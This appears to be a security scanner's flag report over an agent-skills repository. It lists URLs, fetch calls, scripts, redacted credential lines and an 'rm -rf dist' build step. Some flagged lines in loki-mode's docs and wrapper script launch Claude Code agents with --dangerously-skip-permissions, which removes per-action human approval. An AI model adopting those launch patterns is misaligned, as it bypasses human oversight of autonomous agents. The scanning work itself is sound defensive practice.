"version": "1.2.3", "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.2.3.tgz", "integrity": "sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w= - Network accessline 1902
"resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.2.3.tgz", - Network accessline 1906
{ "type": "opencollective", "url": "https://opencollective.com/browserslist" - Network accessline 1907
"type": "opencollective", "url": "https://opencollective.com/browserslist" }, - Network accessline 1908
"url": "https://opencollective.com/browserslist" - Network accessline 1910
{ "type": "tidelift", "url": "https://tidelift.com/funding/github/npm/browserslist" - Network accessline 1911
"type": "tidelift", "url": "https://tidelift.com/funding/github/npm/browserslist" }, - Network accessline 1912
"url": "https://tidelift.com/funding/github/npm/browserslist" - Network accessline 1914
{ "type": "github", "url": "https://github.com/sponsors/ai" - Network accessline 1915
"type": "github", "url": "https://github.com/sponsors/ai" } - Network accessline 1916
"url": "https://github.com/sponsors/ai" - Network accessline 1931
"node_modules/vite": { "version": "6.4.1", "resolved": "https://registry.npmjs.org/vite/-/vite-6.4.1.tgz", - Network accessline 1932
"version": "6.4.1", "resolved": "https://registry.npmjs.org/vite/-/vite-6.4.1.tgz", "integrity": "sha512-+Oxm7q9hDoLMyJOYfUYBuHQo+dkAloi33apOPP56pzj+vsdJDzr+j1NISE5pyaAuKL4A3UD34qd0lx5+kfKp2g==", - Network accessline 1933
"resolved": "https://registry.npmjs.org/vite/-/vite-6.4.1.tgz", - Network accessline 1950
}, "funding": { "url": "https://github.com/vitejs/vite?sponsor=1" - Network accessline 1951
"funding": { "url": "https://github.com/vitejs/vite?sponsor=1" }, - Network accessline 1952
"url": "https://github.com/vitejs/vite?sponsor=1" - Network accessline 2006
"node_modules/yallist": { "version": "3.1.1", "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz", - Network accessline 2007
"version": "3.1.1", "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz", "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==", - Network accessline 2008
"resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz",
skills/loki-mode/examples/todo-app-generated/frontend/package.json
- Executable scriptline 1
Executable file
skills/loki-mode/examples/todo-app-generated/frontend/src/App.tsx
- Executable scriptline 1
Executable file
skills/loki-mode/examples/todo-app-generated/frontend/src/api/todos.ts
- Executable scriptline 1
Executable file - Network accessline 14
export const fetchTodos = async (): Promise<Todo[]> => { const response = await fetch(`${API_BASE}/todos`); - Network accessline 15
const response = await fetch(`${API_BASE}/todos`); - Network accessline 22
export const createTodo = async (title: string): Promise<Todo> => { const response = await fetch(`${API_BASE}/todos`, { - Network accessline 23
const response = await fetch(`${API_BASE}/todos`, { - Network accessline 36
export const updateTodo = async (id: number, completed: boolean): Promise<Todo> => { const response = await fetch(`${API_BASE}/todos/${id}`, { - Network accessline 37
const response = await fetch(`${API_BASE}/todos/${id}`, { - Network accessline 50
export const deleteTodo = async (id: number): Promise<void> => { const response = await fetch(`${API_BASE}/todos/${id}`, { - Network accessline 51
const response = await fetch(`${API_BASE}/todos/${id}`, {
skills/loki-mode/examples/todo-app-generated/frontend/src/components/ConfirmDialog.tsx
- Executable scriptline 1
Executable file
skills/loki-mode/examples/todo-app-generated/frontend/src/components/EmptyState.tsx
- Executable scriptline 1
Executable file
skills/loki-mode/examples/todo-app-generated/frontend/src/components/TodoForm.tsx
- Executable scriptline 1
Executable file
skills/loki-mode/examples/todo-app-generated/frontend/src/components/TodoItem.tsx
- Executable scriptline 1
Executable file
skills/loki-mode/examples/todo-app-generated/frontend/src/components/TodoList.tsx
- Executable scriptline 1
Executable file
skills/loki-mode/examples/todo-app-generated/frontend/src/hooks/useTodos.ts
- Executable scriptline 1
Executable file
skills/loki-mode/examples/todo-app-generated/frontend/src/main.tsx
- Executable scriptline 1
Executable file
skills/loki-mode/examples/todo-app-generated/frontend/src/vite-env.d.ts
- Executable scriptline 1
Executable file
skills/loki-mode/examples/todo-app-generated/frontend/vite.config.ts
skills/loki-mode/integrations/vibe-kanban.md
- Network accessline 3
Loki Mode can optionally integrate with [Vibe Kanban](https://github.com/BloopAI/vibe-kanban) to provide a visual dashboard for monitoring autonomous execution.
skills/loki-mode/references/advanced-patterns.md
- Network accessline 447
- [Multi-Agent Collaboration Mechanisms Survey](https://arxiv.org/abs/2501.06322) - Network accessline 448
- [CONSENSAGENT: Anti-Sycophancy Framework](https://aclanthology.org/2025.findings-acl.1141/) - Network accessline 449
- [GoalAct: Global Planning + Hierarchical Execution](https://arxiv.org/abs/2504.16563) - Network accessline 450
- [A-Mem: Agentic Memory System](https://arxiv.org/html/2502.12110v11) - Network accessline 451
- [Multi-Agent Reflexion (MAR)](https://arxiv.org/html/2512.20845) - Network accessline 452
- [Iter-VF: Iterative Verification-First](https://arxiv.org/html/2511.21734v1) - Network accessline 453
- [Awesome Agentic Patterns](https://github.com/nibzard/awesome-agentic-patterns)
skills/loki-mode/references/agent-types.md
- Instruction override signalline 108
# Option 1: Sequential (simple, reliable) for agent in frontend backend database; do claude -p "Act as $agent agent..." --dangerously-skip-permissions - Instruction override signalline 109
for agent in frontend backend database; do claude -p "Act as $agent agent..." --dangerously-skip-permissions done - Instruction override signalline 110
claude -p "Act as $agent agent..." --dangerously-skip-permissions - Instruction override signalline 115
for i in {1..5}; do tmux new-window -t loki-pool -n "agent-$i" \ "claude --dangerously-skip-permissions -p '$(cat .loki/prompts/agent-$i.md)'" - Instruction override signalline 116
tmux new-window -t loki-pool -n "agent-$i" "claude --dangerously-skip-permissions -p '$(cat .loki/prompts/agent-$i.md)'" - Instruction override signalline 117
"claude --dangerously-skip-permissions -p '$(cat .loki/prompts/agent-$i.md)'"
skills/loki-mode/references/deployment.md
- Network accessline 217
}, "healthCheck": { "command": ["CMD-SHELL", "curl -f http://localhost:3000/health || exit 1"], - Network accessline 218
"healthCheck": { "command": ["CMD-SHELL", "curl -f http://localhost:3000/health || exit 1"], "interval": 30, - Network accessline 219
"command": ["CMD-SHELL", "curl -f http://localhost:3000/health || exit 1"], - Network accessline 534
# Run smoke tests curl -f https://green.app.example.com/health - Network accessline 535
curl -f https://green.app.example.com/health
skills/loki-mode/references/lab-research-patterns.md
- Network accessline 517
**Google DeepMind:** - [SIMA 2: Generalist AI Agent](https://deepmind.google/blog/sima-2-an-agent-that-plays-reasons-and-learns-with-you-in-virtual-3d-worlds/) - Network accessline 518
- [SIMA 2: Generalist AI Agent](https://deepmind.google/blog/sima-2-an-agent-that-plays-reasons-and-learns-with-you-in-virtual-3d-worlds/) - Network accessline 519
- [Gemini Robotics 1.5](https://deepmind.google/blog/gemini-robotics-15-brings-ai-agents-into-the-physical-world/) - Network accessline 520
- [Dreamer 4: World Model Training](https://danijar.com/project/dreamer4/) - Network accessline 521
- [Genie 3: World Models](https://deepmind.google/blog/genie-3-a-new-frontier-for-world-models/) - Network accessline 522
- [Scalable AI Safety via Debate](https://deepmind.google/research/publications/34920/) - Network accessline 523
- [Amplified Oversight](https://deepmindsafetyresearch.medium.com/human-ai-complementarity-a-goal-for-amplified-oversight-0ad8a44cae0a) - Network accessline 524
- [Technical AGI Safety Approach](https://arxiv.org/html/2504.01849v1) - Network accessline 526
**Anthropic:** - [Constitutional AI](https://www.anthropic.com/research/constitutional-ai-harmlessness-from-ai-feedback) - Network accessline 527
- [Constitutional AI](https://www.anthropic.com/research/constitutional-ai-harmlessness-from-ai-feedback) - Network accessline 528
- [Building Effective Agents](https://www.anthropic.com/research/building-effective-agents) - Network accessline 529
- [Claude Code Best Practices](https://www.anthropic.com/engineering/claude-code-best-practices) - Network accessline 530
- [Sleeper Agents Detection](https://www.anthropic.com/research/probes-catch-sleeper-agents) - Network accessline 531
- [Alignment Faking](https://www.anthropic.com/research/alignment-faking) - Network accessline 532
- [Visible Extended Thinking](https://www.anthropic.com/research/visible-extended-thinking) - Network accessline 533
- [Computer Use Safety](https://www.anthropic.com/news/3-5-models-and-computer-use) - Network accessline 534
- [Sabotage Evaluations](https://www.anthropic.com/research/sabotage-evaluations-for-frontier-models)
skills/loki-mode/references/openai-patterns.md
- Network accessline 628
**OpenAI Official:** - [Agents SDK Documentation](https://openai.github.io/openai-agents-python/) - Network accessline 629
- [Agents SDK Documentation](https://openai.github.io/openai-agents-python/) - Network accessline 630
- [Practical Guide to Building Agents](https://cdn.openai.com/business-guides-and-resources/a-practical-guide-to-building-agents.pdf) - Network accessline 631
- [Building Agents Track](https://developers.openai.com/tracks/building-agents/) - Network accessline 632
- [AGENTS.md Specification](https://agents.md/) - Network accessline 634
**Deep Research & Reasoning:** - [Introducing Deep Research](https://openai.com/index/introducing-deep-research/) - Network accessline 635
- [Introducing Deep Research](https://openai.com/index/introducing-deep-research/) - Network accessline 636
- [Deep Research System Card](https://cdn.openai.com/deep-research-system-card.pdf) - Network accessline 637
- [Introducing o3 and o4-mini](https://openai.com/index/introducing-o3-and-o4-mini/) - Network accessline 638
- [Reasoning Best Practices](https://platform.openai.com/docs/guides/reasoning-best-practices) - Network accessline 640
**Safety & Monitoring:** - [Chain of Thought Monitoring](https://openai.com/index/chain-of-thought-monitoring/) - Network accessline 641
- [Chain of Thought Monitoring](https://openai.com/index/chain-of-thought-monitoring/) - Network accessline 642
- [Agent Builder Safety](https://platform.openai.com/docs/guides/agent-builder-safety) - Network accessline 643
- [Computer-Using Agent](https://openai.com/index/computer-using-agent/) - Network accessline 645
**Standards & Interoperability:** - [Agentic AI Foundation](https://openai.com/index/agentic-ai-foundation/) - Network accessline 646
- [Agentic AI Foundation](https://openai.com/index/agentic-ai-foundation/) - Network accessline 647
- [OpenAI for Developers 2025](https://developers.openai.com/blog/openai-for-developers-2025/)
skills/loki-mode/references/production-patterns.md
- Network accessline 555
**Hacker News Discussions:** - [What Actually Works in Production for Autonomous Agents](https://news.ycombinator.com/item?id=44623207) - Network accessline 556
- [What Actually Works in Production for Autonomous Agents](https://news.ycombinator.com/item?id=44623207) - Network accessline 557
- [Coding with LLMs in Summer 2025](https://news.ycombinator.com/item?id=44623953) - Network accessline 558
- [Superpowers: How I'm Using Coding Agents](https://news.ycombinator.com/item?id=45547344) - Network accessline 559
- [Claude Code Experience After Two Weeks](https://news.ycombinator.com/item?id=44596472) - Network accessline 560
- [AI Agent Benchmarks Are Broken](https://news.ycombinator.com/item?id=44531697) - Network accessline 561
- [How to Orchestrate Multi-Agent Workflows](https://news.ycombinator.com/item?id=45955997) - Network accessline 562
- [Context Engineering vs Prompt Engineering](https://news.ycombinator.com/item?id=44427757) - Network accessline 564
**Show HN Projects:** - [Self-Evolving Agents Repository](https://news.ycombinator.com/item?id=45099226) - Network accessline 565
- [Self-Evolving Agents Repository](https://news.ycombinator.com/item?id=45099226) - Network accessline 566
- [Package Manager for Agent Skills](https://news.ycombinator.com/item?id=46422264) - Network accessline 567
- [Wispbit - AI Code Review Agent](https://news.ycombinator.com/item?id=44722603) - Network accessline 568
- [Agtrace - Monitoring for AI Coding Agents](https://news.ycombinator.com/item?id=46425670)
skills/loki-mode/references/sdlc-phases.md
skills/loki-mode/references/tool-orchestration.md
- Network accessline 131
1. **Capture intent, not just actions** ([Hashrocket](https://hashrocket.substack.com/p/the-hidden-cost-of-well-fix-it-later)) - Network accessline 134
2. **Track recovery rate** ([Assessment Framework, arXiv 2512.12791](https://arxiv.org/html/2512.12791v1)) - Network accessline 138
3. **Distributed tracing** ([Maxim AI](https://www.getmaxim.ai/articles/best-practices-for-building-production-ready-multi-agent-systems/)) - Network accessline 142
4. **Tool reliability separate from selection** ([Stanford/Harvard](https://www.marktechpost.com/2025/12/24/this-ai-paper-from-stanford-and-harvard-explains-why-most-agentic-ai-systems-feel-impressive-in-demos-and-then-completely-fall-apart - Network accessline 147
5. **Quality pillars beyond outcomes** ([Assessment Framework](https://arxiv.org/html/2512.12791v1)) - Network accessline 649
Based on [Measurement Imbalance research (arXiv 2506.02064)](https://arxiv.org/abs/2506.02064): - Network accessline 666
**OpenAI Agents SDK:** - [Agents SDK Documentation](https://openai.github.io/openai-agents-python/) - Core primitives: agents, handoffs, guardrails, tracing - Network accessline 667
- [Agents SDK Documentation](https://openai.github.io/openai-agents-python/) - Core primitives: agents, handoffs, guardrails, tracing - Network accessline 668
- [Practical Guide to Building Agents](https://cdn.openai.com/business-guides-and-resources/a-practical-guide-to-building-agents.pdf) - Orchestration patterns - Network accessline 669
- [Building Agents Track](https://developers.openai.com/tracks/building-agents/) - Official developer guide - Network accessline 670
- [AGENTS.md Specification](https://agents.md/) - Standard for agent instructions - Network accessline 671
- [Tracing Documentation](https://openai.github.io/openai-agents-python/tracing/) - Span types and observability - Network accessline 673
**Efficiency & Orchestration:** - [NVIDIA ToolOrchestra](https://github.com/NVlabs/ToolOrchestra) - Multi-turn tool orchestration with RL - Network accessline 674
- [NVIDIA ToolOrchestra](https://github.com/NVlabs/ToolOrchestra) - Multi-turn tool orchestration with RL - Network accessline 675
- [ToolScale Dataset](https://huggingface.co/datasets/nvidia/ToolScale) - Training data synthesis - Network accessline 677
**Evaluation Frameworks:** - [Assessment Framework for Agentic AI (arXiv 2512.12791)](https://arxiv.org/html/2512.12791v1) - Four-pillar evaluation model - Network accessline 678
- [Assessment Framework for Agentic AI (arXiv 2512.12791)](https://arxiv.org/html/2512.12791v1) - Four-pillar evaluation model - Network accessline 679
- [Measurement Imbalance in Agentic AI (arXiv 2506.02064)](https://arxiv.org/abs/2506.02064) - Multi-dimensional evaluation - Network accessline 680
- [Adaptive Monitoring for Agentic AI (arXiv 2509.00115)](https://arxiv.org/abs/2509.00115) - AMDM algorithm - Network accessline 682
**Best Practices:** - [Anthropic: Building Effective Agents](https://www.anthropic.com/research/building-effective-agents) - Simplicity, transparency, tool engineering - Network accessline 683
- [Anthropic: Building Effective Agents](https://www.anthropic.com/research/building-effective-agents) - Simplicity, transparency, tool engineering - Network accessline 684
- [Maxim AI: Production Multi-Agent Systems](https://www.getmaxim.ai/articles/best-practices-for-building-production-ready-multi-agent-systems/) - Orchestration patterns, distributed tracing - Network accessline 685
- [UiPath: Agent Builder Best Practices](https://www.uipath.com/blog/ai/agent-builder-best-practices) - Single-responsibility, evaluations - Network accessline 686
- [Stanford/Harvard: Demo-to-Deployment Gap](https://www.marktechpost.com/2025/12/24/this-ai-paper-from-stanford-and-harvard-explains-why-most-agentic-ai-systems-feel-impressive-in-demos-and-then-completely-fall-apart-in-real-use/) - Tool r - Network accessline 688
**Safety & Reasoning:** - [Chain of Thought Monitoring](https://openai.com/index/chain-of-thought-monitoring/) - CoT monitorability for safety - Network accessline 689
- [Chain of Thought Monitoring](https://openai.com/index/chain-of-thought-monitoring/) - CoT monitorability for safety - Network accessline 690
- [Agent Builder Safety](https://platform.openai.com/docs/guides/agent-builder-safety) - Human-in-loop patterns - Network accessline 691
- [Agentic AI Foundation](https://openai.com/index/agentic-ai-foundation/) - Industry standards (MCP, AGENTS.md, goose)
skills/loki-mode/scripts/export-to-vibe-kanban.sh
- Executable scriptline 1
#!/bin/bash
skills/loki-mode/scripts/loki-wrapper.sh
- Executable scriptline 1
#!/bin/bash - Instruction override signalline 197
set +e claude --dangerously-skip-permissions -p "$prompt" 2>&1 | tee -a "$LOG_FILE" - Instruction override signalline 198
claude --dangerously-skip-permissions -p "$prompt" 2>&1 | tee -a "$LOG_FILE" - Network accessline 274
if ! command -v claude &> /dev/null; then log_error "Claude Code CLI not found. Please install it first." log_info "Visit: https://claude.ai/code" - Network accessline 275
log_error "Claude Code CLI not found. Please install it first." log_info "Visit: https://claude.ai/code" exit 1 - Network accessline 276
log_info "Visit: https://claude.ai/code"
skills/loki-mode/scripts/take-screenshots.js
- Executable scriptline 1
#!/usr/bin/env node
skills/loki-mode/tests/run-all-tests.sh
- Executable scriptline 1
#!/bin/bash
skills/loki-mode/tests/test-agent-timeout.sh
skills/loki-mode/tests/test-bootstrap.sh
skills/loki-mode/tests/test-circuit-breaker.sh
skills/loki-mode/tests/test-state-recovery.sh
skills/loki-mode/tests/test-task-queue.sh
skills/loki-mode/tests/test-wrapper.sh
skills/m365-agents-dotnet/SKILL.md
- Network accessline 49
"ClientId": "{{ClientId}}", "ClientSecret": "{{ClientSecret}}", "AuthorityEndpoint": "https://login.microsoftonline.com/{{TenantId}}", - Network accessline 50
"ClientSecret": "{{ClientSecret}}", "AuthorityEndpoint": "https://login.microsoftonline.com/{{TenantId}}", "Scopes": [ - Network accessline 51
"AuthorityEndpoint": "https://login.microsoftonline.com/{{TenantId}}", - Network accessline 52
"Scopes": [ "https://api.botframework.com/.default" ] - Network accessline 53
"https://api.botframework.com/.default" - Network accessline 113
else { app.Urls.Add("http://localhost:3978"); - Network accessline 114
{ app.Urls.Add("http://localhost:3978"); } - Network accessline 115
app.Urls.Add("http://localhost:3978"); - Network accessline 205
.WithAuthority(AadAuthorityAudience.AzureAdMyOrg) .WithTenantId(_settings.TenantId) .WithRedirectUri("http://localhost") - Network accessline 206
.WithTenantId(_settings.TenantId) .WithRedirectUri("http://localhost") .Build(); - Network accessline 207
.WithRedirectUri("http://localhost") - Network accessline 285
| Resource | URL | | --- | --- | | Microsoft 365 Agents SDK | https://learn.microsoft.com/en-us/microsoft-365/agents-sdk/ | - Network accessline 286
| --- | --- | | Microsoft 365 Agents SDK | https://learn.microsoft.com/en-us/microsoft-365/agents-sdk/ | | AddAgent API | https://learn.microsoft.com/en-us/dotnet/api/microsoft.agents.hosting.aspnetcore.servicecollectionextensions.addagent? - Network accessline 287
| Microsoft 365 Agents SDK | https://learn.microsoft.com/en-us/microsoft-365/agents-sdk/ | - Network accessline 288
| AddAgent API | https://learn.microsoft.com/en-us/dotnet/api/microsoft.agents.hosting.aspnetcore.servicecollectionextensions.addagent?view=m365-agents-sdk | - Network accessline 289
| AgentApplication API | https://learn.microsoft.com/en-us/dotnet/api/microsoft.agents.builder.app.agentapplication?view=m365-agents-sdk | - Network accessline 290
| Auth configuration options | https://learn.microsoft.com/en-us/microsoft-365/agents-sdk/microsoft-authentication-library-configuration-options | - Network accessline 291
| Copilot Studio integration | https://learn.microsoft.com/en-us/microsoft-365/agents-sdk/integrate-with-mcs | - Network accessline 292
| GitHub samples | https://github.com/microsoft/agents |
skills/m365-agents-py/SKILL.md
- Access to secretsline 46
[Credential-related source omitted] - Access to secretsline 192
[Credential-related source omitted] - Network accessline 200
context.streaming_response.set_sensitivity_label( SensitivityUsageInfo( type="https://schema.org/Message", - Network accessline 201
SensitivityUsageInfo( type="https://schema.org/Message", schema_type="CreativeWork", - Network accessline 202
type="https://schema.org/Message", - Network accessline 241
[Credential-related source omitted] - Network accessline 242
# Use token to call Microsoft Graph async with aiohttp.ClientSession() as session: headers = { - Network accessline 243
async with aiohttp.ClientSession() as session: - Network accessline 247
} async with session.get( "https://graph.microsoft.com/v1.0/me", headers=headers - Network accessline 248
async with session.get( "https://graph.microsoft.com/v1.0/me", headers=headers ) as response: - Network accessline 249
"https://graph.microsoft.com/v1.0/me", headers=headers - Network accessline 273
pca = PublicClientApplication( client_id=app_client_id, authority=f"https://login.microsoftonline.com/{tenant_id}", - Network accessline 274
client_id=app_client_id, authority=f"https://login.microsoftonline.com/{tenant_id}", ) - Network accessline 275
authority=f"https://login.microsoftonline.com/{tenant_id}", - Network accessline 278
token_request = {"scopes": ["https://api.powerplatform.com/.default"]} - Access to secretsline 283
[Credential-related source omitted] - Access to secretsline 286
[Credential-related source omitted] - Network accessline 338
| Resource | URL | | --- | --- | | Microsoft 365 Agents SDK | https://learn.microsoft.com/en-us/microsoft-365/agents-sdk/ | - Network accessline 339
| --- | --- | | Microsoft 365 Agents SDK | https://learn.microsoft.com/en-us/microsoft-365/agents-sdk/ | | GitHub samples (Python) | https://github.com/microsoft/Agents-for-python | - Network accessline 340
| Microsoft 365 Agents SDK | https://learn.microsoft.com/en-us/microsoft-365/agents-sdk/ | - Network accessline 341
| GitHub samples (Python) | https://github.com/microsoft/Agents-for-python | - Network accessline 342
| PyPI packages | https://pypi.org/search/?q=microsoft-agents | - Network accessline 343
| Integrate with Copilot Studio | https://learn.microsoft.com/en-us/microsoft-365/agents-sdk/integrate-with-mcs |
skills/m365-agents-ts/SKILL.md
- Access to secretsline 30
[Credential-related source omitted] - Access to secretsline 35
[Credential-related source omitted] - Network accessline 74
context.streamingResponse.setGeneratedByAILabel(true); context.streamingResponse.setSensitivityLabel({ type: "https://schema.org/Message", - Network accessline 75
context.streamingResponse.setSensitivityLabel({ type: "https://schema.org/Message", "@type": "CreativeWork", - Network accessline 76
type: "https://schema.org/Message", - Access to secretsline 137
[Credential-related source omitted] - Network accessline 177
| Resource | URL | | --- | --- | | Microsoft 365 Agents SDK | https://learn.microsoft.com/en-us/microsoft-365/agents-sdk/ | - Network accessline 178
| --- | --- | | Microsoft 365 Agents SDK | https://learn.microsoft.com/en-us/microsoft-365/agents-sdk/ | | JavaScript SDK overview | https://learn.microsoft.com/en-us/javascript/api/overview/agents-overview?view=agents-sdk-js-latest | - Network accessline 179
| Microsoft 365 Agents SDK | https://learn.microsoft.com/en-us/microsoft-365/agents-sdk/ | - Network accessline 180
| JavaScript SDK overview | https://learn.microsoft.com/en-us/javascript/api/overview/agents-overview?view=agents-sdk-js-latest | - Network accessline 181
| @microsoft/agents-hosting-express | https://learn.microsoft.com/en-us/javascript/api/%40microsoft/agents-hosting-express?view=agents-sdk-js-latest | - Network accessline 182
| @microsoft/agents-copilotstudio-client | https://learn.microsoft.com/en-us/javascript/api/%40microsoft/agents-copilotstudio-client?view=agents-sdk-js-latest | - Network accessline 183
| Integrate with Copilot Studio | https://learn.microsoft.com/en-us/microsoft-365/agents-sdk/integrate-with-mcs | - Network accessline 184
| GitHub samples | https://github.com/microsoft/Agents/tree/main/samples/nodejs |
skills/mailchimp-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/make-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/makepad-skills/SKILL.md
- Network accessline 2
name: makepad-skills description: "Makepad UI development skills for Rust apps: setup, patterns, shaders, packaging, and troubleshooting." source: "https://github.com/ZhangHanDong/makepad-skills" - Network accessline 3
description: "Makepad UI development skills for Rust apps: setup, patterns, shaders, packaging, and troubleshooting." source: "https://github.com/ZhangHanDong/makepad-skills" risk: safe - Network accessline 4
source: "https://github.com/ZhangHanDong/makepad-skills" - Network accessline 22
For more information, see the [source repository](https://github.com/ZhangHanDong/makepad-skills).
skills/manifest/SKILL.md
- Network accessline 48
> To connect your agent, you need a Manifest API key. Here's how to get one: > > 1. Go to **https://app.manifest.build** and create an account (or sign in) - Network accessline 49
> > 1. Go to **https://app.manifest.build** and create an account (or sign in) > 2. Once logged in, click **"Connect Agent"** to create a new agent - Network accessline 50
> 1. Go to **https://app.manifest.build** and create an account (or sign in) - Access to secretsline 60
[Credential-related source omitted] - Access to secretsline 63
[Credential-related source omitted] - Network accessline 65
Ask the user if they have a custom endpoint. If not, the default (`https://app.manifest.build/api/v1/otlp`) is used automatically. If they do: - Network accessline 118
Use @manifest to connect my agent to my self-hosted Manifest instance at https://manifest.internal.company.com/api/v1/otlp
skills/market-sizing-analysis/references/data-sources.md
- Network accessline 9
**Gartner** (https://www.gartner.com) - Network accessline 15
**Forrester** (https://www.forrester.com) - Network accessline 21
**IDC** (https://www.idc.com) - Network accessline 27
**McKinsey** (https://www.mckinsey.com/featured-insights) - Network accessline 34
**Statista** (https://www.statista.com) - Network accessline 39
**CB Insights** (https://www.cbinsights.com) - Network accessline 44
**PitchBook** (https://pitchbook.com) - Network accessline 49
**Grand View Research** (https://www.grandviewresearch.com) - Network accessline 58
**U.S. Census Bureau** (https://www.census.gov) - Network accessline 63
**Bureau of Labor Statistics** (https://www.bls.gov) - Network accessline 68
**SEC EDGAR** (https://www.sec.gov/edgar) - Network accessline 73
**Data.gov** (https://www.data.gov) - Network accessline 80
**OECD** (https://data.oecd.org) - Network accessline 84
**World Bank** (https://data.worldbank.org) - Network accessline 88
**Eurostat** (https://ec.europa.eu/eurostat) - Network accessline 158
**Research and Markets** (https://www.researchandmarkets.com) - Network accessline 163
**MarketsandMarkets** (https://www.marketsandmarkets.com) - Network accessline 170
**Google Scholar** (https://scholar.google.com) - Network accessline 174
**SSRN** (https://www.ssrn.com) - Network accessline 178
**arXiv** (https://arxiv.org)
skills/mcp-builder-ms/SKILL.md
- Network accessline 27
|------|-----------|----------|---------| | **Local** | stdio | Desktop apps, single-user, local dev | Azure MCP Server via NPM/Docker | | **Remote** | Streamable HTTP | Cloud services, multi-tenant, Agent Service | `https://mcp.ai.azure.co - Network accessline 29
| **Remote** | Streamable HTTP | Cloud services, multi-tenant, Agent Service | `https://mcp.ai.azure.com` (Foundry) | - Network accessline 36
|--------|------|-------------| | **Azure MCP** | Local | 48+ Azure services (Storage, KeyVault, Cosmos, SQL, etc.) | | **Foundry MCP** | Remote | `https://mcp.ai.azure.com` - Models, deployments, evals, agents | - Network accessline 37
| **Azure MCP** | Local | 48+ Azure services (Storage, KeyVault, Cosmos, SQL, etc.) | | **Foundry MCP** | Remote | `https://mcp.ai.azure.com` - Models, deployments, evals, agents | | **Fabric MCP** | Local | Microsoft Fabric APIs, OneLake, - Network accessline 38
| **Foundry MCP** | Remote | `https://mcp.ai.azure.com` - Models, deployments, evals, agents | - Network accessline 39
| **Fabric MCP** | Local | Microsoft Fabric APIs, OneLake, item definitions | | **Playwright MCP** | Local | Browser automation and testing | | **GitHub MCP** | Remote | `https://api.githubcopilot.com/mcp` | - Network accessline 41
| **GitHub MCP** | Remote | `https://api.githubcopilot.com/mcp` | - Network accessline 83
Start with the sitemap to find relevant pages: `https://modelcontextprotocol.io/sitemap.xml` - Network accessline 85
Then fetch specific pages with `.md` suffix for markdown format (e.g., `https://modelcontextprotocol.io/specification/draft.md`). - Network accessline 113
**For TypeScript (recommended):** - **TypeScript SDK**: Use WebFetch to load `https://raw.githubusercontent.com/modelcontextprotocol/typescript-sdk/main/README.md` - Network accessline 114
- **TypeScript SDK**: Use WebFetch to load `https://raw.githubusercontent.com/modelcontextprotocol/typescript-sdk/main/README.md` - Network accessline 117
**For Python:** - **Python SDK**: Use WebFetch to load `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md` - Network accessline 118
- **Python SDK**: Use WebFetch to load `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md` - Network accessline 259
### Core MCP Documentation (Load First) - **MCP Protocol**: Start with sitemap at `https://modelcontextprotocol.io/sitemap.xml`, then fetch specific pages with `.md` suffix - Network accessline 260
- **MCP Protocol**: Start with sitemap at `https://modelcontextprotocol.io/sitemap.xml`, then fetch specific pages with `.md` suffix - Network accessline 276
### SDK Documentation (Load During Phase 1/2) - **Python SDK**: Fetch from `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md` - Network accessline 277
- **Python SDK**: Fetch from `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md` - Network accessline 278
- **TypeScript SDK**: Fetch from `https://raw.githubusercontent.com/modelcontextprotocol/typescript-sdk/main/README.md`
skills/mcp-builder/LICENSE.txt
skills/mcp-builder/SKILL.md
- Network accessline 43
Start with the sitemap to find relevant pages: `https://modelcontextprotocol.io/sitemap.xml` - Network accessline 45
Then fetch specific pages with `.md` suffix for markdown format (e.g., `https://modelcontextprotocol.io/specification/draft.md`). - Network accessline 62
**For TypeScript (recommended):** - **TypeScript SDK**: Use WebFetch to load `https://raw.githubusercontent.com/modelcontextprotocol/typescript-sdk/main/README.md` - Network accessline 63
- **TypeScript SDK**: Use WebFetch to load `https://raw.githubusercontent.com/modelcontextprotocol/typescript-sdk/main/README.md` - Network accessline 66
**For Python:** - **Python SDK**: Use WebFetch to load `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md` - Network accessline 67
- **Python SDK**: Use WebFetch to load `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md` - Network accessline 204
### Core MCP Documentation (Load First) - **MCP Protocol**: Start with sitemap at `https://modelcontextprotocol.io/sitemap.xml`, then fetch specific pages with `.md` suffix - Network accessline 205
- **MCP Protocol**: Start with sitemap at `https://modelcontextprotocol.io/sitemap.xml`, then fetch specific pages with `.md` suffix - Network accessline 213
### SDK Documentation (Load During Phase 1/2) - **Python SDK**: Fetch from `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md` - Network accessline 214
- **Python SDK**: Fetch from `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md` - Network accessline 215
- **TypeScript SDK**: Fetch from `https://raw.githubusercontent.com/modelcontextprotocol/typescript-sdk/main/README.md`
skills/mcp-builder/reference/evaluation.md
- Access to secretsline 398
[Credential-related source omitted] - Access to secretsline 440
[Credential-related source omitted] - Access to secretsline 444
[Credential-related source omitted] - Network accessline 454
python scripts/evaluation.py \ -t sse \ -u https://example.com/mcp \ - Network accessline 455
[Credential-related source omitted] - Network accessline 456
-u https://example.com/mcp \ - Network accessline 467
python scripts/evaluation.py \ -t http \ -u https://example.com/mcp \ - Network accessline 468
[Credential-related source omitted] - Network accessline 469
-u https://example.com/mcp \ - Access to secretsline 557
[Credential-related source omitted]
skills/mcp-builder/reference/node_mcp_server.md
- Dangerous shell operationline 541
"clean": "rm -rf dist" - Network accessline 600
